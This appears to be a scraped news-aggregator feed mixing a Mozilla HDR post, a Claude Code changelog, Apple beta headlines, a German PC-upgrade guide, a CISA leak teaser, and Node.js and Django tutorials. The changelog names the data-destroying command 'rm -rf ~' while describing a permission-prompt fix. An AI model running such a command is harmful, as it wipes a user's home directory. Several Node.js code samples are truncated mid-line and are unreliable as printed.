      • We are hoping that we will never have to apply tonemapping for HDR content on HDR displays, there are multiple factors in this decision:
        • Varying the brightness limit would make it a significant fingerprinting vector if not handled very carefully if the script can inspect pixels or parameters related to that.  There are ways to mitigate this but they are all awkward restrictions to impose, and queries would have to get a different answer than what the rendering is using.
        • Phones and laptops with light sensors may vary the reference brightness in real time, and this changes the maximum displayable ratio (aka HDR headroom) every refresh, which is also a major battery drain if we keep redrawing all of the time.
        • Documents composed of multiple images (a gallery or some form of art composition) would apply different tonemapping to each image if the brightest pixel in each image is different brightness).  We’d have to do something about that to make it controllable via CSS.
        • In general the detailed parts of an image are within a certain brightness band – see Debunking HDR for a detailed lecture on film grading and why you would not have significant difference in brightness between scene elements.
        • User feedback so far has indicated that not applying tonemapping has given them a better viewing experience on some videos.
    • WebRTC is implemented using a library, common to all web browsers, which has limited support for HDR.
      • While we didn’t prioritize this for an initial feature launch, we are looking at how to implement HDR support properly in libwebrtc. This is in the early assessment phase but we know this is wanted for a couple of use-cases, like video calls for meetings, or game streaming with friends watching.

    In general, one of the biggest challenges in working on graphics code in a web browser is a lack of documentation for how to best use features like video playback and desktop compositing in the context of a web browser (e.g. multiple processes, sandboxing, shared memory, sharing external textures, etc). This parallels the rarity of graphics engineers with such experience. Building new features in this space requires a lot of research (and a lot of trial and error). The solution you end up with may not look at all like the one you initially imagined.

    On behalf of the graphics team at Mozilla, I want to thank the people who use Firefox Nightly regularly and file bug reports when things aren’t working the way they want. Comments on Experimental High Dynamic Range video playback on Windows in Firefox Nightly 148, Mozilla Connect, and Bugzilla bug reports have guided us to focus on the use-cases that matter to people using Firefox. When we succeed, it’s a great feeling.

    We’re working on extending HDR support to photos, apps/games and general web content.

    ]]>         <![CDATA[v2.1.208]]> https://tsecurity.de/de/3666678/downloads/v21208/ https://tsecurity.de/de/3666678/downloads/v21208/ Tue, 14 Jul 2026 03:16:40 +0200 💾 Downloads tsecurity.de What's changed
    • Added screen reader mode: opt-in plain-text rendering for screen reader users. Run claude --ax-screen-reader, set CLAUDE_AX_SCREEN_READER=1, or add "axScreenReader": true to settings.
    • Added vimInsertModeRemaps setting: map two-key insert-mode sequences like jj to Escape in vim mode
    • Added CLAUDE_CODE_PROCESS_WRAPPER: agent view and the background service now honor a corporate launcher by running every Claude Code self-spawn through a required wrapper executable
    • Added mouse-click support for multi-select menus and "Other" input rows in fullscreen mode
    • Fixed fast mode staying off after switching back to a model that supports it — it now restores automatically when enabled in settings
    • Fixed replies typed to a background agent being lost when delivery fails — the text is now saved and delivered when the session restarts
    • Fixed background-session attach failing permanently ("Couldn't start the background daemon") after an update replaced the binary a running claude agents process was launched from
    • Fixed the context window (and auto-compact indicator) briefly resetting to 200k after the CLI auto-updates, causing a false "100% context used" when resuming long-context sessions
    • Fixed supervised and background sessions crashing when a server closed an HTTP/2 connection with a GOAWAY while requests were in flight
    • Fixed truncated stream-json/JSON output and missing result message when piping large responses from claude -p
    • Fixed CLAUDE_CODE_MAX_OUTPUT_TOKENS and similar env vars silently using the mantissa of scientific-notation values (1e6 became 1)
    • Fixed very large markdown tables stalling rendering or using excessive memory; tables over 200 rows show the first 200 with a "… N more rows" notice
    • Fixed the Edit tool failing on files modified after reading when the target text still matches uniquely
    • Fixed Read reporting empty files as "shorter than offset", Grep silently returning "No files found" for invalid regex patterns, Grep count mode under-reporting totals when paginated, and Glob crashing with an unclear error when the pattern, path, or working directory contained a null byte
    • Fixed apiKeyHelper script failures being hidden behind a generic 401 after ~10 silent retries; the script's own error is now shown within 3 attempts
    • Fixed Bedrock streaming requests failing with a misleading "Truncated event message received" when a gateway transforms the response — the error now names the content-type and points at the proxy
    • Fixed /upgrade showing a login flow instead of the upgrade URL when the browser fails to open
    • Fixed stream-json input killing the session on blank CRLF or whitespace-only lines from Windows-style SDK hosts
    • Fixed headless stream-json sessions hanging permanently when a control_request carried a non-string set_model payload; the CLI now answers with an error response
    • Fixed repeated "No completion record was found" notices on session resume — orphaned background tasks now collapse into a single summary
    • Fixed Remote Control clients attaching to a terminal-hosted session not seeing background agents and workflow progress until a task started or stopped
    • Fixed the Agent tool launching with no tools when a subagent's tools list resolves to nothing — it now returns a clear error naming the unrecognized entries
    • Fixed /usage showing stale cached bars over fresher data, and /mcp not reclassifying placeholder servers after config edits
    • Fixed "Change directory" in SDK hosts (e.g. Claude Desktop) failing with "A turn is in progress" on idle sessions that have a running background task
    • Fixed the workflow save dialog showing ~/.claude/workflows/ instead of the CLAUDE_CONFIG_DIR location for user-scope saves
    • Fixed /release-notes adding the viewed notes to the model's context — "Show all" previously injected the entire changelog into every subsequent request
    • Fixed a memory leak in the agent view where pasted images were retained for the screen's lifetime after sending peek replies
    • Fixed SDK sessions losing agents defined via the initialize request when a plugin refresh ran before the client attached
    • Fixed several memory leaks in long sessions: MCP stdio server stderr accumulating up to 64 MB per server, LSP documents staying open indefinitely (now LRU with 50-doc cap), async hook output retained after backgrounding, and unbounded growth in headless/SDK sessions from large tool-result payloads
    • Fixed a memory blowup when reading files with extremely long single lines using offset/limit — the read now returns a clean error instead of loading the whole line
    • Fixed multi-second per-turn slowdowns in sessions with many permission deny/ask rules — rule matchers are now compiled once and cached
    • Improved input responsiveness while agent task lists update — task updates no longer re-render the entire UI
    • Reduced per-tool-call CPU overhead in print/SDK sessions with many MCP tools by caching tool-pool assembly (up to 7x faster tool rounds at high tool counts)
    • Reduced memory usage by bounding the file edit read cache to 16 MB instead of pinning up to 1,000 full files
    • Reduced session transcript size (up to 79x in edit-heavy sessions) and bounded checkpoint disk usage by pruning superseded file-history backups
    • Reduced memory usage when resuming sessions with background agents or forks spawned from large conversations
    • Completed background agents now stay listed in /tasks until cleanup instead of vanishing the moment they finish
    • Attaching to a stopped background agent now shows its transcript immediately while the session warms up, instead of a blank "Session is starting" screen
    • Background sessions: an older daemon no longer silently restarts workers spawned by a newer version onto the older binary
    • Agent view: Ctrl+X now deletes renamed-branch worktrees, never destroys unpushed commits, keeps the session row when a worktree is kept, and reused worktree names reset to the current base
    • Catastrophic removals (e.g. rm -rf ~) in commands containing $(…)/backticks/<(…) now prompt in --dangerously-skip-permissions and auto mode, matching the plain form
    • /install-github-app and the /mcp settings menu no longer open in background sessions
    • MCP servers configured with an empty URL now show as "not configured" in /mcp instead of a config error
    • /usage now shows your last-known usage bars with an "as of" note when the usage endpoint is rate-limited, instead of an error screen
    • Fixed Bedrock auth failing with "Session token not found or invalid" for AWS SSO profiles whose sso_region differs from the Bedrock region (2.1.207 regression)
    ]]>         <![CDATA[Apple Rolls Out iPadOS 27 Public Beta: How to Install and What’s New]]> https://tsecurity.de/de/3666614/ios-mac-os/apple-rolls-out-ipados-27-public-beta-how-to-install-and-whats-new/ https://tsecurity.de/de/3666614/ios-mac-os/apple-rolls-out-ipados-27-public-beta-how-to-install-and-whats-new/ Tue, 14 Jul 2026 02:08:29 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[Apple Releases macOS 27 Golden Gate Public Beta With Big AI Features]]> https://tsecurity.de/de/3666613/ios-mac-os/apple-releases-macos-27-golden-gate-public-beta-with-big-ai-features/ https://tsecurity.de/de/3666613/ios-mac-os/apple-releases-macos-27-golden-gate-public-beta-with-big-ai-features/ Tue, 14 Jul 2026 02:08:28 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[RAM, SSD oder neue CPU – welches Upgrade bringt wirklich was?]]> https://tsecurity.de/de/3665956/windows-tipps/ram-ssd-oder-neue-cpu-welches-upgrade-bringt-wirklich-was/ https://tsecurity.de/de/3665956/windows-tipps/ram-ssd-oder-neue-cpu-welches-upgrade-bringt-wirklich-was/ Mon, 13 Jul 2026 18:57:11 +0200 🪟 Windows Tipps tsecurity.de

    Manche PC-Upgrades bringen spürbar mehr Leistung, andere verbrennen nur Ihr Geld. Entscheidend ist, gezielt dort nachzurüsten, wo echte Flaschenhälse die Performance begrenzen. Welche Upgrades das sind – und wo Sie aktuell besonders gut zweimal nachdenken sollten – zeigen wir Ihnen hier.

    NVMe-SSD: FĂźr fast jeden PC ein sofortiger Gewinn

    Eine schnelle NVMe-SSD ist fßr beinahe jedes System ein deutlicher Gewinn. Sie bietet gegenßber klassischen HDDs nicht nur wesentlich kßrzere Zugriffszeiten, sondern erreicht auch hohe sequenzielle sowie zufällige Transferraten. Das verkßrzt Ladezeiten spßrbar, lässt Anwendungen praktisch verzÜgerungsfrei starten und sorgt fßr ein insgesamt reaktionsfreudigeres System.

    DDR5-RAM

    Der Einbau von schnellem DDR5-RAM steigert das Reaktionstempo des Systems und kann vor allem bei speicherintensiven Anwendungen wie Gaming oder Videoschnitt deutliche Leistungsvorteile bewirken.

    Foundry

    PCIe-4.0-Modelle sind mit einem Terabyte bereits ab rund 130 Euro erhältlich. Nach oben geht die Spanne bis etwa 200 Euro für Laufwerke mit bis zu 7.000 MB/s und DRAM-Cache. Bewährte Optionen in der oberen Klasse sind etwa die Crucial P310 1TB als solides Allround-Laufwerk oder die Samsung 990 PRO 1TB. Achten Sie beim Kauf auf die Schlagwörter “Gaming” oder “Videoschnitt” in der Produktbeschreibung. So können Sie sicher sein, dass das Laufwerk für dauerhaft hohe Lasten ausgelegt ist.

    Einen Blick wert sind aber in jedem Fall auch PCIe-5.0-Modelle: Die fünfte Generation liefert Leseraten von bis zu 14.500 MB/s und liegt preislich inzwischen kaum noch über vergleichbaren PCIe-4.0-Laufwerken. Greift man ohnehin neu zu, sind die Acer Predator GM9 1TB oder die Lexar ARES PRO 1TB eine zukunftssicherere Wahl. Im Gaming-Alltag fällt der Unterschied zur vierten Generation kaum ins Gewicht, da aktuelle Spiele die zusätzliche Bandbreite bislang nicht ausreizen. Bei regelmäßigen Transfers gewaltiger Dateien oder der Arbeit mit 4K- und 8K-Videomaterial hingegen werden Sie den Leistungssprung durchaus bemerken.

    Arbeitsspeicher: Jetzt genau hinschauen, bevor Sie kaufen

    Arbeitsspeicher-Upgrades entfalten ihre Wirkung vor allem dann, wenn der Rechner regelmäßig an seine Auslastungsgrenze stößt. Ob RAM tatsächlich der Flaschenhals ist, verrät ein Blick in den Task-Manager: Öffnen Sie ihn mit Strg-Alt-Entf, wechseln Sie zum Reiter “Leistung” und beobachten Sie die Arbeitsspeicher-Auslastung unter Last. Klettert sie dauerhaft über 80 Prozent, ist ein Upgrade sinnvoll. Schnelleres RAM mit niedrigerer Latenz kann darüber hinaus die Leistung in speicherintensiven Anwendungen steigern.

    Was Sie 2026 aber unbedingt wissen sollten: Der RAM-Markt hat sich seit Herbst 2025 dramatisch verändert. DDR5-6000-Kits mit 32 Gigabyte, die im Sommer 2025 noch für unter 100 Euro zu haben waren, kosten aktuell teils 400 bis 450 Euro. Ursache ist die stark gestiegene Nachfrage durch KI-Rechenzentren, die einen Großteil der globalen Speicherchip-Produktion beanspruchen.

    Laut dem Marktforschungsinstitut TrendForce ist mit nennenswerten Preissenkungen frühestens ab Mitte 2027 zu rechnen. AMD selbst äußerte sich auf der Computex 2026 noch pessimistischer und nannte 2028 als realistischeres Datum. Wer auf AM4 mit DDR4 sitzt und damit zufrieden ist, sollte den Plattformwechsel deshalb gut abwägen. Ein Umstieg auf DDR5 zieht in der Regel auch ein neues Mainboard und eine neue CPU nach sich.

    Grafikkarte: Das wirkungsvollste Gaming-Upgrade – mit einer wichtigen Faustregel

    Für Gamer ist eine leistungsstarke GPU meistens das Upgrade mit dem größten Effekt: höhere Bildraten, stabilere Frametime-Verläufe, bessere Grafikqualität und die Unterstützung moderner Rendering-Techniken wie Raytracing sowie der KI-gestützten Upscaling-Verfahren DLSS 4 und FSR 4. Letztere sind 2026 keine optionalen Zusatzfeatures mehr, sondern der praktische Weg, in anspruchsvollen Titeln spielbare Frameraten zu erzielen.

    Beim Kauf gilt eine Faustregel, die Sie unbedingt beachten sollten: Achten Sie auf ausreichend Grafikspeicher. Wie viel VRAM Sie für Ihren Gaming-PC wirklich benötigen, hängt stark von der Auflösung ab. Einen ausführlichen Überblick dazu finden Sie in unserem VRAM-Ratgeber. Als Orientierung gilt: 8 Gigabyte VRAM geraten bei aktuellen AAA-Titeln zunehmend an ihre Grenzen, 12 Gigabyte sind das sinnvolle Minimum, 16 Gigabyte der entspannte Sweetspot für die nächsten Jahre. Kauftipps für Ihre neue Grafikkarte finden Sie hier: Diese Grafikkarten sind ihr Geld wert.

    Vor einer Neuanschaffung sollten Sie außerdem prüfen, ob Ihre CPU stark genug ist, um die neue GPU nicht auszubremsen. Mehr dazu im Folgenden.

    Prozessor: Wann sich das teuerste Upgrade wirklich lohnt

    Mehr Kerne, eine hÜhere IPC (Instructions per Cycle; Befehle, die ein Prozessor pro Taktzyklus abarbeitet) und moderne Befehlssätze bringen Vorteile in rechenlastigen Anwendungen, Rendering-Workflows und CPU-lastigen Spielen.

    Ob die CPU tatsächlich bremst und ein Upgrade benÜtigt, zeigt der Task-Manager: Liegt die CPU-Auslastung unter Last dauerhaft nahe 100 Prozent, während die GPU noch Reserven hat, ist das ein deutliches Indiz fßr einen CPU-Engpass. Welche CPU-GPU-Kombinationen dabei gut harmonieren, erklärt unser Artikel: Die besten Grafikkarten-CPU-Kombinationen fßr Spieler.

    Planen Sie dabei den Gesamtaufwand realistisch ein: Ein CPU-Wechsel zieht häufig auch ein neues Mainboard und passenden Arbeitsspeicher nach sich. Haben Sie keinen nachweisbaren Engpass, stecken Sie das Geld besser in GPU oder SSD. Dort ist der Effekt in den meisten Szenarien deutlich unmittelbarer. Kauftipps fßr Ihre neue Gaming-CPU finden Sie hier: Der ideale Gaming-Prozessor ab 80 Euro.

    GPU Tausch

    Wer nach einigen Jahren den Desktop-PC auf eine neue GPU umrĂźsten mĂśchte, braucht oft auch eine neue CPU. Das lĂśst oft eine Kette von Neuanschaffungen aus.

    Foundry

    Kßhlung und Netzteil: Oft unterschätzt, aber wirkungsvoll

    Die Kßhlung gehÜrt zu den Upgrades, die viele unterschätzen. Ein leiser Tower-Kßhler oder eine AiO-Wasserkßhlung senken nicht nur Temperaturen, sondern ermÜglichen es auch, Boost-Taktraten länger zu halten. Das kann messbar mehr Leistung bedeuten.

    Zusätzliche Gehäuselüfter optimieren den Airflow, halten die VRMs (Spannungswandler) kühler und verlängern hierdurch die Lebensdauer der Komponenten. Ein effizientes Netzteil mit hoher Spannungsstabilität ist besonders bei High-End-GPUs der aktuellen Generation relevant. Nvidias RTX-50-Karten setzen zudem auf den neuen 12V-2×6-Anschluss – das Netzteil sollte daher ATX 3.1 zertifiziert sein, um Lastspitzen sauber abzufangen und den Energieverbrauch zu senken. Kauftipps für Ihr neues Netzteil finden Sie hier: Die besten PC-Netzteile – unsere Empfehlungen von 650 bis 1650 Watt.

    ]]>         <![CDATA[Lessons Learned from CISA’s Recent GitHub Leak]]> https://tsecurity.de/de/3665759/it-security-nachrichten/lessons-learned-from-cisas-recent-github-leak/ https://tsecurity.de/de/3665759/it-security-nachrichten/lessons-learned-from-cisas-recent-github-leak/ Mon, 13 Jul 2026 17:35:30 +0200 📰 IT Security Nachrichten tsecurity.de The Cybersecurity and Infrastructure Security Agency (CISA) has issued a postmortem on a data leak in which a contractor published dozens of internal CISA credentials — including AWS Govcloud keys — in a public GitHub repository for almost six months…

    Read more →

    The post Lessons Learned from CISA’s Recent GitHub Leak appeared first on IT Security News.

    ]]>         <![CDATA[Lessons Learned from CISA’s Recent GitHub Leak]]> https://tsecurity.de/de/3665730/it-security-nachrichten/lessons-learned-from-cisas-recent-github-leak/ https://tsecurity.de/de/3665730/it-security-nachrichten/lessons-learned-from-cisas-recent-github-leak/ Mon, 13 Jul 2026 17:23:47 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[The complete guide to Node.js frameworks]]> https://tsecurity.de/de/3665672/ai-nachrichten/the-complete-guide-to-nodejs-frameworks/ https://tsecurity.de/de/3665672/ai-nachrichten/the-complete-guide-to-nodejs-frameworks/ Mon, 13 Jul 2026 17:04:36 +0200 🔧 AI Nachrichten tsecurity.de

    Node.js is one of the most popular server-side platforms, especially for web applications. It gives you non-blocking JavaScript without a browser, plus an enormous ecosystem. That ecosystem is one of Node’s chief strengths, making it a go-to option for server development.

    This article is a quick tour of the most popular web frameworks for server development on Node.js. We’ll look at minimalist tools like Express.js, batteries-included frameworks like Nest.js, and full-stack frameworks like Next.js. You’ll get an overview of the frameworks and a taste of what it’s like to write a simple server application in each one.

    Minimalist web frameworks

    When it comes to Node web frameworks, minimalist doesn’t mean limited. Instead, these frameworks provide the essential features required to do the job for which they are intended. The frameworks in this list also tend to be highly extensible, so you can customize them as needed. With minimalist frameworks, pluggable extensibility is the name of the game.

    Express.js

    At over 47 million weekly downloads on npm, Express is one of the most-installed software packages of all time—and for good reason. Express gives you basic web endpoint routing and request-and-response handling inside an extensible framework that is easy to understand. Most other frameworks in this category have adopted the basic style of describing a route from Express. This framework is the obvious choice when you simply need to create some routes for HTTP, and you don’t mind a DIY approach for anything extra.

    Despite its simplicity, Express is fully-featured when it comes to things like route parameters and request handling. Here is a simple Express endpoint that returns a dog breed based on an ID:

    import express from 'express';

const app = express();
const port = 3000;

// In-memory array of dog breeds
const dogBreeds = [
  "Shih Tzu",
  "Great Pyrenees",
  "Tibetan Mastiff",
  "Australian Shepherd"
];
app.get('/dogs/:id', (req, res) => {
  // Convert the id from a string to an integer
  const id = parseInt(req.params.id, 10);

  // Check if the id is a valid number and within the array bounds
  if (id >= 0 && id  {
  console.log(`Server running at http://localhost:${port}`);
});

    You can easily see how the route is defined here: a string representation of a URL, followed by a function that receives a request and response object. The process of creating the server and listening on a port is simple.

    If you are coming from a framework like Next, the biggest thing you might notice about Express is that it lacks a file-system based router. On the other hand, it offers a huge range of middleware plugins to help with essential functions like security.

    Koa

    Koa was created by the original creators of Espress, who took the lessons learned from that project and used them for a fresh take on the JavaScript server. Koa’s focus is providing a minimalist core engine. It uses async/await functions for middleware rather than chaining with next() calls. This can give you a cleaner server, especially when there are many plugins. It also makes the error handling less clunky for middleware.

    Koa also differs from Express by exposing a unified context object instead of separate request and response objects, which makes for a somewhat less cluttered API. Here is how Koa manages the same route we created in Express:

    router.get('/dogs/:id', (ctx) => {
  const id = parseInt(ctx.params.id, 10);

  if (id >= 0 && id < dogBreeds.length) {
    ctx.status = 200;
    ctx.body = { breed: dogBreeds[id] };
  } else {
    ctx.status = 404;
    ctx.body = { error: 'Dog breed not found' };
  }
});

    The only real difference is the combined context object.

    Koa’s middleware mechanism is also worth a look. Here’s a simple logging plugin in Koa:

    const logger = async (ctx, next) => {
  await next(); // This passes control to the router
  console.log(`${ctx.method} ${ctx.url} - ${ctx.status}`);
};

// Use the logger middleware for all requests
app.use(logger);

    Fastify

    Fastify lets you define schemas for your APIs. This is an up-front, formal mechanism for describing what the server supports:

    const schema = {
  params: {
    type: 'object',
    properties: {
      id: { type: 'integer' }
    }
  },
  response: {
    200: {
      type: 'object',
      properties: {
        breed: { type: 'string' }
      }
    },
    404: {
      type: 'object',
      properties: {
        error: { type: 'string' }
      }
    }
  }
};

fastify.get('/dogs/:id', { schema }, (request, reply) => {
  const id = request.params.id;

  if (id >= 0 && id  {
  if (err) {
    fastify.log.error(err);
    process.exit(1);
  }
  console.log(`Server running at ${address}`);
});

    From this example, you can see the actual endpoint definition is similar to Express and Koa, but we define a schema for the API. The schema is not strictly necessary; it is possible to define endpoints without it. In that case, Fastify behaves much like Express, but with superior performance.

    Hono

    Hono emphasizes simplicity. You can define a server and endpoint with as little as:

    const app = new Hono()
app.get('/', (c) => c.text('Hello, Infoworld!'))

    And here’s how our dog breed example looks:

    app.get('/dogs/:id', (c) => {
  // Get the id parameter from the request URL
  const id = parseInt(c.req.param('id'), 10);

  // Check if the id is a valid number and within the array bounds
  if (id >= 0 && id < dogBreeds.length) {
    // Return a JSON response with a 200 OK status (default)
    return c.json({ breed: dogBreeds[id] });
  } else {
    // Set status to 404 and return a JSON error message
    c.status(404);
    return c.json({ error: 'Dog breed not found' });
  }
});

    As you can see, Hono provides a unified context object, similar to Koa.

    Nitro.js

    Nitro is the back end for several full-stack frameworks, including Nuxt.js. As part of the UnJS ecosystem, Nitro goes further than Express in providing cloud-native tooling support. It includes a universal storage adapter and deployment support for serverless and cloud deployment targets.

    Also see: Intro to Nitro: The server engine built for modern JavaScript.

    Like Next.js, Nitro uses filesystem-based routing, so our Dog Finder API would exist at the following filepath:

    /api/dogs/:id

    The handler might look like this:

    export default defineEventHandler((event) => {
  // Get the dynamic parameter from the event context
  const { id } = getRouterParams(event);
  const parsedId = parseInt(id, 10);

  // Check if the id is a valid number and within the array bounds
  if (parsedId >= 0 && parsedId < dogBreeds.length) {
    // Nitro handles JSON serialization
    return { breed: dogBreeds[parsedId] };
  } else {
    setResponseStatus(event, 404);
    return { error: 'Dog breed not found' };
  }
});

    Nitro inhabits the middle ground between a pure tool like Express and a full-blown stack, which is why full-stack front ends often use Nitro on the back end.

    Batteries-included frameworks

    Although Express and other minimalist frameworks set the standard for simplicity, more opinionated frameworks can be useful if you want additional features out of the box.

    Nest.js

    Nest is a progressive framework built with TypeScript from the ground up. Nest is actually a layer on top of Express (or Fastify), with additional services. It is inspired by Angular and incorporates the kind of architectural support found there. In particular, it includes dependency injection. Nest also uses annotated controllers for endpoints.

    Also see: Intro to Nest.js: Server-side JavaScript development on Node.

    Here is an example of injecting a dog finder provider into a controller:

    // The provider:
import { Injectable, NotFoundException } from '@nestjs/common';

// The @Injectable() decorator marks this class as a provider.
@Injectable()
export class DogsService {
  private readonly dogBreeds = [
    "Shih Tzu",
    "Great Pyrenees",
    "Tibetan Mastiff",
    "Australian Shepherd"
  ];

  findOne(id: number) {
    if (id >= 0 && id < this.dogBreeds.length) {
      return { breed: this.dogBreeds[id] };
    }
    // NestJS has built-in HTTP exception classes for common errors.
    throw new NotFoundException('Dog breed not found');
  }
}

// The controller

import { Controller, Get, Param, ParseIntPipe } from '@nestjs/common';
import { DogsService } from './dogs.service';

@Controller('dogs')
export class DogsController {
  // NestJS injects the DogsService through the constructor.
  // The 'private readonly' syntax is a TypeScript shorthand
  // to both declare and initialize the dogsService member.
  constructor(private readonly dogsService: DogsService) {}

  @Get(':id')
  findOneDog(@Param('id', ParseIntPipe) id: number) {
    // We can now use the service's methods. The ParseIntPipe
    // automatically converts the string URL parameter to a number.
    return this.dogsService.findOne(id);
  }
}

    This style is typical of dependency injection frameworks like Angular, as well as Spring. It allows you to declare components as injectable, then consume them anywhere you need them.

    In Nest, we’d just add these as modules to make them live.

    Adonis.js

    Like Nest, Adonis provides a controller layer that you wire together with routes. Adonis is inspired by the model-view-controller (MVC) pattern, so it also includes a layer for modelling data and accessing stores via an ORM. Finally, it provides a validator layer for ensuring data meets requirements.

    Routes in Adonis are very simple:

    Route.get('/dogs/:id', [DogsController, 'show'])

    In this case, DogsController would be the handler for the route, and might look something like:

    import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'  // Note, ioc means inversion of control, similar to dependency injection

export default class DogsController {
  // The 'show' method handles the logic for the route
  public async show({ params, response }: HttpContextContract) {
    const id = Number(params.id);

    // Check if the id is a valid number and within the array bounds
    if (!isNaN(id) && id >= 0 && id < this.dogBreeds.length) {
      // Use the response object to send a 200 OK JSON response
      return response.ok({ breed: this.dogBreeds[id] });
    } else {
      // Send a 404 Not Found response
      return response.notFound({ error: 'Dog breed not found' });
    }
  }
}

    Of course, in a real application, we could define a model layer to handle the actual data access.

    Sails

    Sails is another MVC-style framework. It is one of the original one-stop-shopping frameworks for Node and includes an ORM layer (Waterline), API generation (Blueprints), and realtime support, including WebSockets.

    Sails strives for conventional operation. For example, here’s how you might define a simple model for dogs:

    /**
 * Dog.js
 *
 * @description :: A model definition represents a database table/collection.
 * @docs        :: https://sailsjs.com/docs/concepts/models
 */
module.exports = {
  attributes: {
    breed: { type: 'string', required: true },
  },
};

    If you run this in Sails, the framework will generate default routes and wire up a NoSQL or SQL datastore based on your configuration. Sails also provides the option to override these defaults and add in your own custom logic.

    Full-stack frameworks

    Also known as meta-frameworks, these tools combine a front-end framework with a solid back end and various CLI niceties like build chains.

    Next.js

    Next is a React-based framework built by Vercel. It is largely responsible for the huge growth in popularity of these types of frameworks. Next was the first framework to bring together back-end API definitions with the front end that consumes them. It also introduced file-system routing. In Next and other full-stack frameworks, you get both parts of your stack in one place and you can run them together during development.

    In Next, we could define a route at pages/api/dogs/[id].js like so:

    export default function handler(req, res) {
  // `req.query.id` comes from the dynamic filename [id].js
  const { id } = req.query;
  const parsedId = parseInt(id, 10);

  if (parsedId >= 0 && parsedId < dogBreeds.length) {
    // If the ID is valid, return the data
    res.status(200).json({ breed: dogBreeds[parsedId] });
  } else {
    // Otherwise, return a 404 error
    res.status(404).json({ error: 'Dog breed not found' });
  }
}

    We’d then define the UI component to interact with this route at pages/dogs/[id].js:

    import React from 'react';

// This is the React component that renders the page.
// It receives the `dog` object as a prop from getServerSideProps.
function DogPage({ dog }) {
  // Handle the case where the dog wasn't found
  if (!dog) {
    return 
    Dog Breed Not Found
    ;
  }

  return (
    
    
      
    Dog Breed Profile
    
      
    Breed Name: {dog.breed}
    
    
    
  );
}

// This function runs on the server before the page is sent to the browser.
export async function getServerSideProps(context) {
  const { id } = context.params; // Get the ID from the URL

  // Fetch data from our own API route on the server.
  const res = await fetch(`http://localhost:3000/api/dogs/${id}`);
  
  // If the fetch was successful, parse the JSON.
  const dog = res.ok ? await res.json() : null;

  // Pass the fetched data to the DogPage component as props.
  return {
    props: {
      dog,
    },
  };
}

export default DogPage;

    Nuxt.js

    Nuxt is the same idea as Next, but applied to the Vue front end. The basic pattern is the same, though. First, we’d define a back-end route:

    // server/api/dogs/[id].js

// defineEventHandler is Nuxt's helper for creating API handlers.
export default defineEventHandler((event) => {
  // Nuxt automatically parses route parameters.
  const id = getRouterParam(event, 'id');
  const parsedId = parseInt(id, 10);

  if (parsedId >= 0 && parsedId < dogBreeds.length) {
    return { breed: dogBreeds[parsedId] };
  } else {
    // Helper to set the status code and return an error.
    setResponseStatus(event, 404);
    return { error: 'Dog breed not found' };
  }
});

    Then, we’d create the UI file in Vue:

    // pages/dogs/[id].vue


  
    
    
    
      Loading...
    
    
    
    
      
    {{ error.data.error }}
    
    
    
    
    
      
    Dog Breed Profile
    
      
    Breed Name: {{ dog.breed }}

    SvelteKit

    SvelteKit is the full-stack framework for the Svelte front end. It’s similar to Next and Nuxt, with the main difference being the front-end technology.

    In SvelteKit, a back-end route looks like so:

    // src/routes/api/dogs/[id]/+server.js

import { json, error } from '@sveltejs/kit';

// This is our data source for the example.
const dogBreeds = [
  "Shih Tzu",
  "Australian Cattle Dog",
  "Great Pyrenees",
  "Tibetan Mastiff",
];

/** @type {import('./$types').RequestHandler} */
export function GET({ params }) {
  // The 'id' comes from the [id] directory name.
  const id = parseInt(params.id, 10);

  if (id >= 0 && id < dogBreeds.length) {
    // The json() helper creates a valid JSON response.
    return json({ breed: dogBreeds[id] });
  }

  // The error() helper is the idiomatic way to return HTTP errors.
  throw error(404, 'Dog breed not found');
}

    SvelteKit usually splits the UI into two components. The first component is for loading the data (which can then be run on the server):

    // src/routes/dogs/[id]/+page.js

import { error } from '@sveltejs/kit';

/** @type {import('./$types').PageLoad} */
export async function load({ params, fetch }) {
  // Use the SvelteKit-provided `fetch` to call our API endpoint.
  const response = await fetch(`/api/dogs/${params.id}`);

  if (response.ok) {
    const dog = await response.json();
    // The object returned here is passed as the 'data' prop to the page.
    return {
      dog: dog
    };
  }

  // If the API returns an error, forward it to the user.
  throw error(response.status, 'Dog breed not found');
}

    The second component is the UI:

    // src/routes/dogs/[id]/+page.svelte




    
  
    Dog Breed Profile
    
  
    Breed Name: {data.dog.breed}

    Conclusion

    The Node.js ecosystem has moved beyond the “default-to-Express” days. Now, it is worth your time to look for a framework that fits your specific situation.

    If you are building microservices or high-performance APIs, where every millisecond counts, you owe it to yourself to look at minimalist frameworks like Fastify or Hono. This class of frameworks gives you raw speed and total control without requiring decisions about infrastructure.

    If you are building an enterprise monolith or working with a big team, batteries-included frameworks like Nest or Adonis offer useful structure. The complexity of the initial setup buys you long-term maintainability and makes the codebase more standardized for new developers.

    Finally, if your project is a content-rich web application, full-stack meta-frameworks like Next, Nuxt, and SvelteKit offer the best developer experience and the perfect profile of tools.

    It’s also worth noting that, while Node remains the standard server-side runtime, alternatives Deno and Bun have both made a name for themselves. Deno has great heritage, is open source with a strong security focus, and has its own framework, Deno Fresh. Bun is respected for its ultra-fast startup and integrated tooling.

    ]]>         <![CDATA[Django tutorial: Get started with Django 6]]> https://tsecurity.de/de/3665671/ai-nachrichten/django-tutorial-get-started-with-django-6/ https://tsecurity.de/de/3665671/ai-nachrichten/django-tutorial-get-started-with-django-6/ Mon, 13 Jul 2026 17:04:35 +0200 🔧 AI Nachrichten tsecurity.de

    Django is a one-size-fits-all Python web framework that was inspired by Ruby on Rails and uses many of the same metaphors to make web development fast and easy. Fully loaded and flexible, Django has become one of Python’s most widely used web frameworks.

    Now in version 6.0, Django includes virtually everything you need to build a web application of any size, and its popularity makes it easy to find examples and help for various scenarios. Plus, Django provides tools to allow your application to evolve and add features gracefully, and to migrate its data schema if there is one.

    Django also has a reputation for being complex, with many components and a good deal of “under the hood” configuration required. In truth, you can use Django to get a simple Python application up and running in relatively short order, then expand its functionality as needed.

    This article guides you through creating a basic application using Django 6.0. We’ll also touch on the most crucial features for web developers in the Django 6 release.

    Installing Django

    Assuming you have Python 3.12 or higher installed, the first step to installing Django is to create a virtual environment. Installing Django in the venv keeps Django and its associated libraries separate from your base Python installation, which is always a good practice.

    Next, install Django in your chosen virtual environment via Python’s pip utility:

    pip install django

    This installs the core Django libraries and the django-admin command-line utility used to manage Django projects.

    Creating a new Django project

    Django instances are organized into two tiers: projects and apps.

